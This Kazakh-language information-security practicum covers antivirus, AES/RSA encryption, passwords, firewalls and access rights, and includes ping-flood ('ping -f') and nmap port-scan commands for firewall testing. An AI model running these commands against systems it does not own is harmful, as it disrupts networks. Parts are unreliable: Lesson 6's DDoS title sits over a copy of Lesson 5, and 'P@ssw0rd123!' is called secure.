Цифрлық әдіскер

ақпараттық-білім беру ортасы

ПРАКТИКАЛЫҚ САБАҚТАР

Ақпараттық қауіпсіздік және ақпаратты қорғау

Ақпараттық қауіпсіздіктің негізгі принциптері — құпиялылық, тұтастық, қолжетімділік — және халықаралық стандарттар (ISO/IEC 27001, GDPR).

- Құпиялылық, тұтастық, қолжетімділік
- Аутентификация және авторизация
- ISO/IEC 27001, GDPR
- Қауіп-қатерлер

ӘДІСТЕМЕЛІК НҰСҚАУ

Тәжірибелік сабақ № 1

Тақырыбы: Компьютерлік вирусқа қарсы бағдарламаларды орнату және конфигурациялау

Мақсаты: пайдаланушының компьютерлік вирусқа қарсы бағдарламаларды орнату және конфигурациялау, сондай-ақ жүйеде анықталған вирусқа қарсы шараларды қолдану дағдыларын дамыту.

Тапсырма 1: Вирусқа қарсы бағдарламаны орнату

Мақсаты: Пайдаланушыға вирусқа қарсы бағдарламаны жүктеп, орнату процесін түсіндіру.

Қадамдар: Бағдарламаны жүктеу: Пайдаланушыға Avast, Kaspersky, ESET сияқты вирусқа қарсы бағдарламалардың ресми сайттарынан бағдарламаны жүктеу ұсынылады. Мысал: Avast жүктеу, Kaspersky жүктеу, ESET жүктеу. Орнатуды бастау: Орнатушы файлды екі рет басып ашу арқылы орнату процесін бастаңыз. Орнату кезеңінде әртүрлі тілдерде (қазақ, орыс, ағылшын) қолжетімді нұсқаны таңдау қажет. Орнатушы ұсынылған қадамдарды орындау қажет (лицензиялық келісімді қабылдау, орнату орнын таңдау). Сұрақтар: Вирусқа қарсы бағдарламаның орнату кезінде қандай маңызды қадамдар бар? Бағдарламаның орнатылу барысында қандай параметрлерді өзгерту қажет?

Тапсырма 2: Бағдарламаның соңғы жаңартуларын тексеру

Мақсаты: Пайдаланушыға вирусқа қарсы бағдарламаның соңғы жаңартуларын тексеру және оларды орнату процесін түсіндіру.

Қадамдар: Вирусқа қарсы бағдарламаны ашып, интерфейсінде жаңартуларды тексеру опциясын табыңыз. Мысалы, Avast бағдарламасында жаңарту үшін «Меню» → «Жаңарту» немесе «Settings» → «Update» тармағын таңдаңыз. Kaspersky бағдарламасында «Settings» → «Update» немесе «Scan for Updates» батырмасын пайдаланыңыз. ESET бағдарламасында «Update» бөлімін таңдап, жаңартуларды тексеріңіз. Бағдарламаның соңғы вирус дерекқорлары мен бағдарламалық қамтамасыз ету жаңартуларын тексеріңіз. Егер жаңарту қолжетімді болса, оны орнатуды бастаңыз. Сұрақтар: Вирусқа қарсы бағдарламаның жаңартуларының маңызы қандай? Бағдарламаның дерекқор жаңартуларын қалай орнатуға болады?

Тапсырма 3: Бағдарламаны алғаш рет іске қосып, толық жүйе сканерлеу жүргізу

Мақсаты: Пайдаланушыға толық жүйе сканерлеу жүргізу әдісін үйрету.

Қадамдар: Вирусқа қарсы бағдарламаны алғаш рет іске қосыңыз. Егер бағдарламаны алғаш рет іске қоссаңыз, алғашқы іске қосу кезінде бағдарламаның өзіндік конфигурациясы мен параметрлері көрсетіледі. Толық жүйе сканерлеу (Full System Scan) опциясын таңдаңыз. Әдетте бұл опция бағдарламаның басты интерфейсінде немесе «Сканерлеу» бөлімінде орналасады. Толық жүйе сканерлеу барлық дискілерді, файлдар мен қалталарды тексереді. Сканерлеу процесін бастау үшін «Scan» немесе «Start» батырмасын басыңыз. Скандару ұзақтығы жүйенің көлеміне, қолданбалардың санына және вирусқа қарсы бағдарламаның конфигурациясына байланысты бірнеше минуттан бірнеше сағатқа дейін созылуы мүмкін. Сұрақтар: Толық жүйе сканерлеудің қандай артықшылықтары бар? Вирусқа қарсы бағдарлама тексерілген кезде қандай қадамдар орындалады?

Тапсырма 4: Жүйеде вирус табылған жағдайда оны жою немесе карантинге алу

Мақсаты: Пайдаланушыға вирус табылған жағдайда оны жою немесе карантинге алу әдістерін үйрету.

Қадамдар: Егер сканерлеу барысында вирус немесе күдікті файл табылса, бағдарлама оны анықтайды және оны жою немесе карантинге алу туралы хабарлама береді. Вирус табылған кезде әрекет ету: Жою (Delete): Бұл опция вирус табылған файлды жүйеден толық жоюға мүмкіндік береді. Карантинге алу (Quarantine): Бұл опция файлды жүйеден оқшаулап, қауіпсіз ортада сақтауға мүмкіндік береді. Егер файл зиянды емес деп танылса, оны қалпына келтіруге болады. Карантинге алынған файлдарды тексеру: Карантинге алынған файлдарды кейіннентексеріп, оларды жою немесе қалпына келтіру шешімін қабылдауға болады. Егер бағдарлама қайтадан вирусты тапса: Бұл жағдайда қосымша тексеру жүргізіп, жүйедегі басқа күдікті файлдарды анықтау қажет. Сұрақтар: 1.Вирус табылған кезде оны жою немесе карантинге алу арасындағы айырмашылықты түсіндіріңіз. 2.Карантинге алынған файлдарды қалай тексеруге болады?

Тапсырма 5: Вирусқа қарсы бағдарламаның параметрлерін конфигурациялау

> Мақсаты: пайдаланушыға вирусқа қарсы бағдарламаның параметрлерін конфигурациялауды үйрету.

Қадамдар: Бағдарламаның негізгі параметрлерін өзгерту: Скандардың автоматты түрде жүргізілуі үшін жоспарланған тапсырмалар (Scheduling) орнату. Әрбір файлды немесе тек белгілі бір кеңейтілімдерді тексеру параметрлерін баптау. Вирустардан қорғау деңгейін (жоғары, орташа, төмен) таңдау. Редакторлық деңгейдегі параметрлерді өзгерту (мысалы, белгілі бір файлдардың қосымша тексерілуі). Файлдарды қорғау: белгілі бір қалталарды немесе файлдарды қорғау үшін қосымша фильтрлер мен ережелер орнату. Жүйелік ресурстарды басқару: вирусқа қарсы бағдарламаның компьютердің өнімділігін әсер етпеуі үшін ресурстарды басқару параметрлерін баптау. Сұрақтар: Вирусқа қарсы бағдарламаның параметрлерін өзгерту кезінде қандай аспектілерді ескеру қажет?

БАҒДАРЛАМА ОРНАТЫЛҒАННАН КЕЙІН ҚАНДАЙ МАҢЫЗДЫ КОНФИГУРАЦИЯЛАР ЖАСАУ КЕРЕК?

ҚОРЫТЫНДЫ:

Бұл практикалық тапсырмалар вирусқа қарсы бағдарламаны орнату, жаңарту, толық жүйе сканерлеу жүргізу және жүйеде анықталған вирустарды жою немесе карантинге алу процестерін түсінуге және қолдануға көмектеседі. Сонымен қатар, вирусқа қарсы бағдарламаның параметрлерін дұрыс конфигурациялау ақпараттық қауіпсіздікті қамтамасыз ету үшін өте маңызды. Конец формы

Тәжірибелік сабақ № 2

Тақырыбы: Шифрлау алгоритмдерін қолдану

Тапсырма 1: AES және RSA шифрлау алгоритмдерін түсіну

> Мақсаты: AES (Advanced Encryption Standard) және RSA (Rivest-Shamir-Adleman) алгоритмдерінің жұмыс принциптерін түсіну.

Қадамдар: AES алгоритмінің жұмысын түсіну: AES – симметриялық кілтпен шифрлау алгоритмі. Бұл алгоритмде бір кілт (ашық немесе жабық кілт) қолданылады, яғни ақпаратты шифрлау мен декодтауды бірдей кілтпен орындауға болады. AES алгоритмінде 128, 192 және 256 биттік кілттер қолданылады. AES алгоритмінің негізі блоктық шифрлау принципі болып табылады, яғни деректер кіші блоктарға бөлініп, әрбір блок белгілі бір кілтпен шифрланады. RSA алгоритмінің жұмысын түсіну: RSA – асимметриялық шифрлау алгоритмі. Бұл алгоритмде екі түрлі кілт қолданылады: ашық (public key) және жабық (private key). Ашық кілт арқылы ақпарат шифрланады, ал жабық кілт арқылы ашылады. RSA алгоритмінің негізі үлкен сандарды факторизациялауға негізделген. Сұрақтар: AES алгоритмінің негізгі ерекшеліктері қандай? RSA алгоритмінің жұмыс принципі қалай жүзеге асады? Симметриялық және асимметриялық шифрлау алгоритмдерінің айырмашылығы неде?

Тапсырма 2: AES алгоритмінде ақпаратты шифрлау және декодтау

> Мақсаты: AES алгоритмін қолдана отырып ақпаратты шифрлау және декодтау процесін түсіну.

Қадамдар: AES алгоритмімен шифрлау үшін құралды таңдау: Python немесе басқа бағдарламалау тілінде AES шифрлау алгоритмін іске асыратын кітапхана пайдаланыңыз (мысалы, PyCryptodome Python кітапханасы). Құралда бастапқы мәтін және кілт таңдаңыз (мысалы, 128 биттік кілт). Ақпаратты шифрлау: Бастапқы мәтінді (plain text) AES алгоритмі арқылы шифрлаңыз. Шифрланған мәтін (cipher text) алыңыз. Шифрланған ақпаратты декодтау: Шифрланған мәтінді AES алгоритмі көмегімен ашыңыз. Декодталған мәтін бастапқы мәтінмен сәйкес болуын тексеріңіз. Сұрақтар: AES алгоритмінде шифрлау үшін қандай кілттер қолданылады? AES алгоритмі арқылы шифрланған мәтін мен бастапқы мәтін арасындағы айырмашылықты түсіндіріңіз.

Тапсырма 3: RSA алгоритмінде ақпаратты шифрлау және декодтау

> Мақсаты: RSA алгоритмінде ашық және жабық кілттерді пайдалана отырып ақпаратты шифрлау және декодтау процесін түсіну.

Қадамдар: RSA алгоритмі үшін ашық және жабық кілттерді генерациялау: Python немесе басқа құралды пайдаланып RSA кілттерін жасаңыз. Бұл үшін PyCryptodome немесе Cryptography кітапханаларын пайдалануға болады. Ашық және жабық кілттерді генерациялау: жабық кілт тек кілт иесіне ғана белгілі болады, ал ашық кілт көпшілікке қолжетімді. Ақпаратты шифрлау: Ашық кілт арқылы мәтінді шифрлаңыз. Шифрланған мәтінді алыңыз. Ақпаратты декодтау: Жабық кілт арқылы шифрланған мәтінді декодтаңыз. Декодталған мәтін бастапқы мәтінмен сәйкес болуын тексеріңіз. Сұрақтар: RSA алгоритмінде шифрлау және декодтау үшін қандай кілттер пайдаланылады? RSA шифрлау кезінде ашық және жабық кілттердің рөлі қандай?

Тапсырма 4: Шифрланған ақпараттың дұрыстығын тексеру

> Мақсаты: Шифрланған және декодталған ақпараттың дұрыстығын тексеру және қателіктерді анықтау.

Қадамдар: Шифрланған ақпаратты тексеру: Шифрлау мен декодтау операцияларын орындағаннан кейін, декодталған мәтінді бастапқы мәтінмен салыстырыңыз. Егер мәтіндер сәйкес болса, шифрлау мен декодтау процесі дұрыс орындалғанын білдіреді. Қателіктерді анықтау: Шифрлау кезінде кілттің дұрыс қолданылмағаны немесе жүйеде қателіктер болған жағдайда, декодталған мәтін бастапқы мәтінмен сәйкес келмеуі мүмкін. Мұндай жағдайда кілттерді қайта тексеріп, шифрлау және декодтау процестерін қайта орындаңыз. Сұрақтар: Шифрланған ақпараттың дұрыстығын қалай тексеруге болады? Егер шифрланған ақпарат декодталмаған болса, қандай қателіктер орын алуы мүмкін?

Тапсырма 5: Шифрлау және декодтау процесін автоматтандыру

> Мақсаты: Шифрлау және декодтау процестерін автоматтандыру.

Қадамдар: Программа жазу: Python бағдарламасында шифрлау және декодтау функцияларын автоматтандыру үшін код жазыңыз. AES немесе RSA алгоритмдерін қолданып, әртүрлі мәтіндермен шифрлау және декодтау жүргізетін бағдарлама жасаңыз. Автоматтандырылған тексеру:

БАҒДАРЛАМА АВТОМАТТЫ ТҮРДЕ БАСТАПҚЫ МӘТІНДІ ШИФРЛАП, СОДАН КЕЙІН ДЕКОДТАП, ДҰРЫС ЖҰМЫС ІСТЕП ТҰРҒАНЫН ТЕКСЕРСІН. СҰРАҚТАР:

Шифрлау және декодтау процесін автоматтандырудың қандай артықшылықтары бар? Автоматтандырылған бағдарлама қандай жағдайларда қолданылуы мүмкін?

Тәжірибелік сабақ № 3

Тақырыбы: Қауіпсіз парольдерді жасау және басқару

Тапсырма 1: Қауіпсіз пароль жасау талаптарын түсіну

> Мақсаты: Қауіпсіз парольдер жасау үшін қажетті талаптарды түсіну және орындау.

Қадамдар: Қауіпсіз пароль жасау талаптары: Құпия сөздің ұзындығы кемінде 12-16 таңбадан болуы керек. Үлкен және кіші әріптер, сандар мен арнайы таңбалар (мысалы, !, @, #, $, т.б.) аралас болуы керек. Оңай болжауға болатын сөздерден (мысалы, туған күндер, аты-жөні) аулақ болу керек. Құпия сөздерде қайталанатын символдар мен қысқа сөздерден аулақ болыңыз. Құпия сөздер жүйелі болмауы керек, әрбір символ кездейсоқ таңдалуы қажет. Пароль жасау мысалы: Мысалы, "P@ssw0rd123!" деген құпия сөзді қауіпсіз деп есептеуге болады, бірақ оны одан әрі күрделендіріп, мысалы, "Yg7#tJ@w0sX!" деп жасау қажет. Сұрақтар: Қауіпсіз пароль жасау үшін қандай талаптар орындалуы қажет? Пароль ұзындығының қауіпсіздікке әсері қандай?

Тапсырма 2: Password Manager қолданбасын орнату және пайдалану

> Мақсаты: Password Manager қолданбасын орнату және жүйеде қауіпсіз парольдерді құру.

Қадамдар: Password Manager орнату: LastPass, 1Password, Bitwarden немесе Dashlane сияқты танымал пароль менеджерлерінің бірін таңдаңыз. Бағдарламаны ресми сайттан немесе қолданба дүкенінен (Google Play, App Store) жүктеп орнатыңыз. Қолданбаға тіркелу: Тіркелу үшін күшті құпия сөзді таңдап, екі факторлы аутентификацияны (2FA) қосу ұсынылады. Енді Password Manager ішінде қауіпсіз парольдер жасай аласыз. Қауіпсіз парольдер құру: Password Manager ішіндегі пароль генераторын пайдаланып, әртүрлі сайттар үшін күшті және бірегей парольдер жасаңыз. Мысалы, Bitwarden немесе 1Password ішінде автоматты түрде күрделі парольдер жасап, оларды сақтау. Сұрақтар: Password Manager қолданбасы қандай артықшылықтар береді? Пароль генераторының көмегімен жасалған парольдер қауіпсіз бе?

Тапсырма 3: Әр түрлі есептік жазбалар үшін бірегей парольдер енгізу

> Мақсаты: Әр түрлі есептік жазбалар үшін бірегей және қауіпсіз парольдер жасау және оларды дұрыс сақтау.

Қадамдар: Әр есептік жазба үшін бірегей парольдер құру: Жеке электрондық пошта, әлеуметтік желілер, онлайн дүкендер және банктік есептер сияқты әртүрлі есептік жазбалар үшін жеке және күрделі парольдер жасаңыз. Бұл парольдер барлық сайттарда бірдей болмауы керек. Пароль менеджерін пайдалану: Құпия сөздерді басқару үшін Password Manager қолданыңыз. Әр сайт үшін қауіпсіз парольдер енгізіп, оларды бағдарламаның ішінде сақтаңыз. Парольдердің бірегейлігін тексеру: Пароль менеджерінде парольдердің қайталануын тексеріңіз және әрбір сайт үшін әртүрлі парольдер қолданғаныңызға көз жеткізіңіз. Сұрақтар: Әр сайт үшін бірегей парольдердің маңыздылығы қандай? Егер бір сайттағы құпия сөзді ұмытып қалсаңыз, оны қайдан табуға болады?

Тапсырма 4: Құпия сөздерді басқару және олардың қауіпсіздігін тексеру

> Мақсаты: Құпия сөздеріңізді басқару және олардың қауіпсіздігін тексеру.

Қадамдар: Парольдерді тексеру: Password Manager көмегімен сақтау алдында барлық парольдеріңізді тексеріңіз. Have I Been Pwned сияқты онлайн құралды пайдаланып, құпия сөздеріңізді бұзылған мәліметтер базасында тексеріңіз. Егер пароль бұзылған болса, оны дереу өзгертіңіз. Құпия сөздерді жаңарту: Құпия сөздерді белгілі бір кезеңдерде жаңартып отыру (мысалы, әр 3 айда) ұсынылады. Қауіпсіздік үшін бірегей және күрделі парольдерді орнату. Екі факторлы аутентификация (2FA) қосу: Әр маңызды есептік жазба үшін 2FA қосу. Бұл қосымша қорғау қабатын қосып, сіздің аккаунтыңызды ұрланудан сақтайды. Сұрақтар: Құпия сөздерді тексеру үшін қандай құралдарды қолдануға болады? 2FA қосу арқылы қандай қауіпсіздік артықшылықтары алуға болады?

Тапсырма 5: Құпия сөздермен жұмыс істейтін қосымша қауіпсіздік шаралары

> Мақсаты: Құпия сөздермен жұмыс істеген кезде қосымша қауіпсіздік шараларын қолдану.

Қадамдар: Құпия сөздерді қорғау: Жеке құпия сөздерді ешкіммен бөліспеңіз. Парольді жазып қалдырмаңыз. Егер жазып қалдыру қажет болса, оны қауіпсіз жерде сақтаңыз (мысалы, Password Manager ішінде). Құпия сөзді өзгерту: Егер күдікті әрекеттер байқалса (мысалы, аккаунтыңызды қолдану әрекеті), құпия сөзді тез арада өзгертіңіз. Қауіпсіздік ескертулері мен хабарламаларын қосу: Есептік жазбаңыздың қауіпсіздігіне қатысты кез келген хабарламалар мен ескертулерді тексеріп отырыңыз. Әсіресе кіріс әрекеттері мен құпия сөздерді өзгерту туралы ескертулерді назардан тыс қалдырмаңыз.

Сұрақтар: 1.Құпия сөздермен жұмыс істегенде қандай қауіпсіздік шараларын қолдануға болады? 2.Құпия сөздерді өзгерту үшін қандай жағдайлар қажет?

Тәжірибелік сабақ № 4

Тақырыбы: Firewall және желілік қорғаныс құралдарын орнату және баптау

Тапсырма 1: Windows немесе Linux операциялық жүйесінде firewall қызметін қосу

> Мақсаты: Windows немесе Linux жүйесінде firewall қызметін қосып, оның негізгі жұмысын түсіну.

Windows жүйесінде firewall қызметін қосу Firewall қызметін қосу: Басқару панелі → Желілік және жалпы қосылымдар → Windows Defender Firewall бөліміне өтіңіз. Сол жақ панелде Windows Defender Firewall қосу немесе өшіру таңдап, firewall-ды қосыңыз. Брандмауэрдің күйін тексеру: Брандмауэрдің дұрыс жұмыс істеп тұрғанын тексеру үшін командалық жолды ашып, келесі команданы орындаңыз: netsh advfirewall show allprofiles Бұл команда firewall-дың барлық профильдері үшін күйін көрсетеді. Linux жүйесінде firewall қызметін қосу Firewall орнату: Linux жүйесінде firewall қызметін орнату үшін ufw (Uncomplicated Firewall) утилитасын қолданамыз. Утилитаны орнату үшін келесі команданы орындаңыз (егер орнатылмаған болса): sudo apt install ufw Firewall қызметін қосу: Firewall-ды қосу үшін келесі команданы орындаңыз: sudo ufw enable Firewall күйін тексеру: Firewall-дың күйін тексеру үшін келесі команданы орындаңыз: sudo ufw status Сұрақтар: Windows жүйесінде firewall-ды қалай қосуға болады? Linux жүйесінде ufw құралын пайдаланып firewall-ды қосу қалай орындалады?

Тапсырма 2: Желіге кіретін және шығатын трафикті бақылап, қажетті ережелерді орнату

> Мақсаты: Желідегі трафикті бақылап, firewall ережелерін орнату.

Windows жүйесінде трафикті бақылау және ережелерді орнату Ереже орнату: Windows Defender Firewall ішіне өтіп, Advanced Settings (Кеңейтілген баптаулар) тармағын таңдаңыз. Сол жақ панелде Inbound Rules (Кіріс ережелері) және Outbound Rules (Шығыс ережелері) тармақтары бар. New Rule (Жаңа ереже) таңдап, қажетті ереже түрін (Port, Program, Custom) таңдаңыз және трафикке арналған ережені орнатыңыз. Трафикті бақылау: Кіріс және шығыс трафикті бақылау үшін netstat немесе Wireshark сияқты құралдарды қолдануға болады. Командалық жолды пайдаланып, желі байланыстарын тексеру: netstat -an Linux жүйесінде трафикті бақылау және ережелерді орнату Трафикті бақылау: Linux жүйесінде трафикті бақылау үшін netstat немесе ss командаларын қолдануға болады: netstat -tuln Желі интерфейсіндегі трафикті бақылау үшін Wireshark немесе tcpdump құралдарын пайдалану ұсынылады. Ережелер орнату: ufw көмегімен кіріс және шығыс трафикті басқару үшін қажетті ережелерді орнатыңыз. Мысалы, HTTP (порт 80) трафигіне рұқсат беру: sudo ufw allow 80/tcp Портты жабу: sudo ufw deny 22/tcp Сұрақтар: Windows жүйесінде кіріс және шығыс трафикке арналған ережелерді қалай орнатуға болады? Linux жүйесінде ufw құралымен трафик ережелерін қалай өзгертуге болады?

Тапсырма 3: Желілік қауіпсіздік үшін шабуылдардың әсерін бақылау (ping flood, port scanning)

> Мақсаты: Желі қауіпсіздігін тексеру үшін белгілі бір шабуылдардың әсерін бақылау және firewall ережелерінің тиімділігін тексеру.

Ping flood шабуылын бақылау Ping flood шабуылын іске қосу: Ping flood шабуылы жүйені жауап беруден бас тартуға мәжбүр етеді. Бұл шабуылды симуляциялау үшін ping командасын пайдаланыңыз. Ping flood шабуылын бастау үшін келесі команданы орындаңыз (жүйеде іске қосылған firewall бар ма, тексеру үшін): ping -f [IP адресі] Бұл команда мақсатты жүйеге үздіксіз ping сұраныстарын жібереді. Firewall-дың әсерін бақылау: Ping flood шабуылын бақылай отырып, firewall ережелерін тиімділігін тексеріңіз. Firewall трафикті блоктауы керек. Port scanning шабуылын бақылау Port scanning шабуылын іске қосу: Port scanning шабуылы- бұл белгілі бір жүйе немесе сервердің ашық порттарын анықтауға бағытталған әрекет. Бұл шабуылды симуляциялау үшін Nmap құралын пайдалануға болады. Port scanning шабуылын бастау үшін келесі команданы орындаңыз: nmap [IP адресі] Firewall-дың әсерін бақылау: Nmap құралын қолдана отырып порттарды сканерлеу нәтижелерін тексеріңіз. Firewall дұрыс конфигурацияланған болса, кейбір порттарда жауап алынбайды. Сұрақтар: Ping flood шабуылы кезінде firewall қандай әрекет етуі керек? Port scanning шабуылын симуляциялау үшін қандай құрал қолдануға болады?

Тапсырма 4: Қауіпсіздік ережелерін баптау және тестілеу

> Мақсаты: Қауіпсіздік ережелерін баптап, олардың тиімділігін тексеру.

Ережелерді баптау Қауіпсіздік ережелерін орнату: Windows немесе Linux жүйесінде firewall ережелерін орнатып, өзіңізге қажетті қызметтер мен қосымшаларға рұқсат беріңіз. Мысалы, тек HTTPS (порт 443) трафигін өткізу үшін: Windows: New-NetFirewallRule -DisplayName "Allow HTTPS" -Direction Inbound -Protocol TCP -LocalPort 443 -Action Allow Linux: sudo ufw allow 443/tcp Қауіпсіздік ережелерін тестілеу: Қауіпсіздік ережелерінің жұмысын тексеру үшін желідегі трафикті бақылап, қарапайым тесттер орындаңыз (мысалы, тексеру үшін қосылу әрекеттерін жасаңдар). Сұрақтар: Қауіпсіздік ережелерін тестілеу үшін қандай әдістерді қолдануға болады? Firewall-дың қандай ережелері интернетке кіретін трафикті шектейді?

Тәжірибелік сабақ № 5

Тақырыбы: Ақпараттық жүйенің аутентификация механизмін орнату

Тапсырма 1: Жүйе немесе веб-сайт үшін аутентификация әдісін таңдау

> Мақсаты: Жүйе үшін аутентификация әдісін таңдап, оны орнату.

Құпия сөзді аутентификация Құпия сөзді орнату: Веб-сайт немесе жүйе үшін пайдаланушылардың тіркелуі үшін құпия сөзді аутентификацияны таңдаңыз. Құпия сөздің қауіпсіздігін қамтамасыз ету үшін жүйе құрамында төмендегідей талаптар болуы керек: Құпия сөздің ұзындығы кемінде 8-12 таңба. Арнайы таңбалар, сандар және үлкен/кіші әріптерді қолдану міндетті. Құпия сөз орнатуды тестілеу: Жүйеге жаңа пайдаланушыны тіркеп, олардың жүйеге кіруін тексеріңіз. Құпия сөзді дұрыс және қате енгізген кезде жүйенің әрекетін тексеріңіз. Екі факторлы аутентификация (2FA) Екі факторлы аутентификацияны қосу: Google Authenticator, Authy немесе SMS арқылы код алу сияқты қосымша қорғау әдістерін орнатыңыз. Бұл әдіс пайдаланушының жүйеге кіруін тексеру үшін қосымша кодты енгізуді талап етеді. Тест жүргізу: Пайдаланушыға екі факторлы аутентификацияны қосу үшін нұсқаулықты орындаңыз және аутентификация процесінің жұмысын тексеріңіз. Сұрақтар: Құпия сөз аутентификациясы мен екі факторлы аутентификацияның айырмашылығы қандай? Құпия сөзді аутентификация кезінде жүйеде қандай қауіпсіздік шаралары болуы керек?

Тапсырма 2: Көпфакторлы аутентификацияны орнату

> Мақсаты: Көпфакторлы аутентификацияны орнатып, оның жұмысын тексеру.

Көпфакторлы аутентификацияны орнату: Пайдаланушының жүйеге кіруін бірнеше фактор арқылы тексеру үшін, екі немесе одан да көп аутентификация әдісін қосу. Мысалы, пайдаланушыдан құпия сөзді енгізгеннен кейін, жүйе оны екінші фактормен (мысалы, телефонға келген SMS немесе Google Authenticator қолданбасы арқылы алынған код) тексереді. Орнатуды тестілеу: Жүйеде екі факторлы аутентификацияны қосып, жүйеге кіргенде пайдаланушыдан екі факторлы код сұралуы тиіс. Код дұрыс енгізілмеген жағдайда жүйе кіруге рұқсат бермейтініне көз жеткізіңіз. Сұрақтар: Көпфакторлы аутентификацияның қандай артықшылықтары бар? Көпфакторлы аутентификацияны қосу үшін қандай құралдар мен сервис қолдануға болады?

Тапсырма 3: Әр түрлі пайдаланушыларды тіркеу және олардың жүйеге кіру құқықтарын конфигурациялау

> Мақсаты: Әр түрлі пайдаланушыларды жүйеге тіркеп, олардың кіру құқықтарын баптау.

Пайдаланушыларды тіркеу: Әр түрлі рөлдер мен құқықтары бар пайдаланушыларды жүйеге тіркеңіз. Мысалы: Администратор — толық қолжетімділік және жүйенің барлық параметрлерін басқару. Қолданушы — тек өз деректерін көруге және өңдеуге рұқсат берілген. Гость — тек көріп қана қолдану құқығы бар. Құқықтарды баптау: Windows немесе Linux жүйелерінде пайдаланушы құқықтарын орнату: Windows: Пайдаланушы рөлін анықтау үшін Local Users and Groups құралын пайдаланыңыз. Пайдаланушының қолжетімділігін шектеу үшін Group Policy арқылы қосымша ережелер орнатыңыз. Linux: Пайдаланушыны тіркеу үшін командаларды қолданыңыз, мысалы: sudo useradd username sudo passwd username sudo usermod -aG groupname username chmod немесе chown арқылы файл мен каталогтар үшін рұқсаттарды конфигурациялаңыз. Тестілеу: Әр рөлге байланысты құқықтарды тексеріңіз. Әр түрлі пайдаланушылардың жүйеге кіру мүмкіндігін тексеріңіз. Сұрақтар: Әр түрлі пайдаланушылардың құқықтарын қалай бөлуге болады? Қандай командалар арқылы Linux жүйесінде пайдаланушыларды тіркеуге және олардың рұқсаттарын басқаруға болады?

Тапсырма 4: Пайдаланушы рұқсаттарын тексеру

> Мақсаты: Пайдаланушы рұқсаттарын тексеріп, жүйеге кіруге рұқсаттары бар екенін анықтау.

Рұқсаттарды тексеру: Пайдаланушының жүйеге кіруге және белгілі бір ресурстарға қолжетімділігін тексеріңіз. Windows жүйесінде net user [username] командасы арқылы пайдаланушының құқықтарын тексеруге болады. Linux жүйесінде id [username] немесе groups [username] командаларын орындап, пайдаланушының қандай топтарға жататынын тексеріңіз. Қолданушының рұқсаттарын тестілеу: Пайдаланушы ретінде жүйеге кіріп, рұқсат етілген әрекеттерді орындап көріңіз. Мысалы: Егер пайдаланушы тек оқуға рұқсат болса, ол файлды өзгерте алмайтынына көз жеткізіңіз. Әкімші ретінде жүйеге кіріп, пайдаланушы рұқсаттарын өзгерту әрекетін жасаңыз. Рұқсаттар өзгерту: Құқықтардың дұрыс тағайындалуын тексеріп, қажет болса, рұқсаттарды өзгертіңіз. Сұрақтар: Windows немесе Linux жүйесінде пайдаланушы рұқсаттарын қалай тексеруге болады? Пайдаланушының рұқсаттарын өзгерту үшін қандай командалар мен құралдарды қолдануға болады?

Тәжірибелік сабақ № 6

Тақырыбы: DDoS шабуылына қарсы қорғаныс жүйелерін құру

Тапсырма 1: Жүйе немесе веб-сайт үшін аутентификация әдісін таңдау

> Мақсаты: Жүйе үшін аутентификация әдісін таңдап, оны орнату.

Құпия сөзді аутентификация Құпия сөзді орнату: Веб-сайт немесе жүйе үшін пайдаланушылардың тіркелуі үшін құпия сөзді аутентификацияны таңдаңыз. Құпия сөздің қауіпсіздігін қамтамасыз ету үшін жүйе құрамында төмендегідей талаптар болуы керек: Құпия сөздің ұзындығы кемінде 8-12 таңба. Арнайы таңбалар, сандар және үлкен/кіші әріптерді қолдану міндетті. Құпия сөз орнатуды тестілеу: Жүйеге жаңа пайдаланушыны тіркеп, олардың жүйеге кіруін тексеріңіз. Құпия сөзді дұрыс және қате енгізген кезде жүйенің әрекетін тексеріңіз. Екі факторлы аутентификация (2FA) Екі факторлы аутентификацияны қосу: Google Authenticator, Authy немесе SMS арқылы код алу сияқты қосымша қорғау әдістерін орнатыңыз. Бұл әдіс пайдаланушының жүйеге кіруін тексеру үшін қосымша кодты енгізуді талап етеді. Тест жүргізу: Пайдаланушыға екі факторлы аутентификацияны қосу үшін нұсқаулықты орындаңыз және аутентификация процесінің жұмысын тексеріңіз. Сұрақтар: Құпия сөз аутентификациясы мен екі факторлы аутентификацияның айырмашылығы қандай? Құпия сөзді аутентификация кезінде жүйеде қандай қауіпсіздік шаралары болуы керек?

Тапсырма 2: Көпфакторлы аутентификацияны орнату

> Мақсаты: Көпфакторлы аутентификацияны орнатып, оның жұмысын тексеру.

Көпфакторлы аутентификацияны орнату: Пайдаланушының жүйеге кіруін бірнеше фактор арқылы тексеру үшін, екі немесе одан да көп аутентификация әдісін қосу. Мысалы, пайдаланушыдан құпия сөзді енгізгеннен кейін, жүйе оны екінші фактормен (мысалы, телефонға келген SMS немесе Google Authenticator қолданбасы арқылы алынған код) тексереді. Орнатуды тестілеу: Жүйеде екі факторлы аутентификацияны қосып, жүйеге кіргенде пайдаланушыдан екі факторлы код сұралуы тиіс. Код дұрыс енгізілмеген жағдайда жүйе кіруге рұқсат бермейтініне көз жеткізіңіз. Сұрақтар: Көпфакторлы аутентификацияның қандай артықшылықтары бар? Көпфакторлы аутентификацияны қосу үшін қандай құралдар мен сервис қолдануға болады?

Тапсырма 3: Әр түрлі пайдаланушыларды тіркеу және олардың жүйеге кіру құқықтарын конфигурациялау

> Мақсаты: Әр түрлі пайдаланушыларды жүйеге тіркеп, олардың кіру құқықтарын баптау.

Пайдаланушыларды тіркеу: Әр түрлі рөлдер мен құқықтары бар пайдаланушыларды жүйеге тіркеңіз. Мысалы: Администратор -толық қолжетімділік және жүйенің барлық параметрлерін басқару. Қолданушы- тек өз деректерін көруге және өңдеуге рұқсат берілген. Гость -тек көріп қана қолдану құқығы бар. Құқықтарды баптау: Windows немесе Linux жүйелерінде пайдаланушы құқықтарын орнату: Windows: Пайдаланушы рөлін анықтау үшін Local Users and Groups құралын пайдаланыңыз. Пайдаланушының қолжетімділігін шектеу үшін Group Policy арқылы қосымша ережелер орнатыңыз. Linux: Пайдаланушыны тіркеу үшін командаларды қолданыңыз, мысалы: sudo useradd username sudo passwd username sudo usermod -aG groupname username chmod немесе chown арқылы файл мен каталогтар үшін рұқсаттарды конфигурациялаңыз. Тестілеу: Әр рөлге байланысты құқықтарды тексеріңіз. Әр түрлі пайдаланушылардың жүйеге кіру мүмкіндігін тексеріңіз. Сұрақтар: Әр түрлі пайдаланушылардың құқықтарын қалай бөлуге болады? Қандай командалар арқылы Linux жүйесінде пайдаланушыларды тіркеуге және олардың рұқсаттарын басқаруға болады?

Тапсырма 4: Пайдаланушы рұқсаттарын тексеру

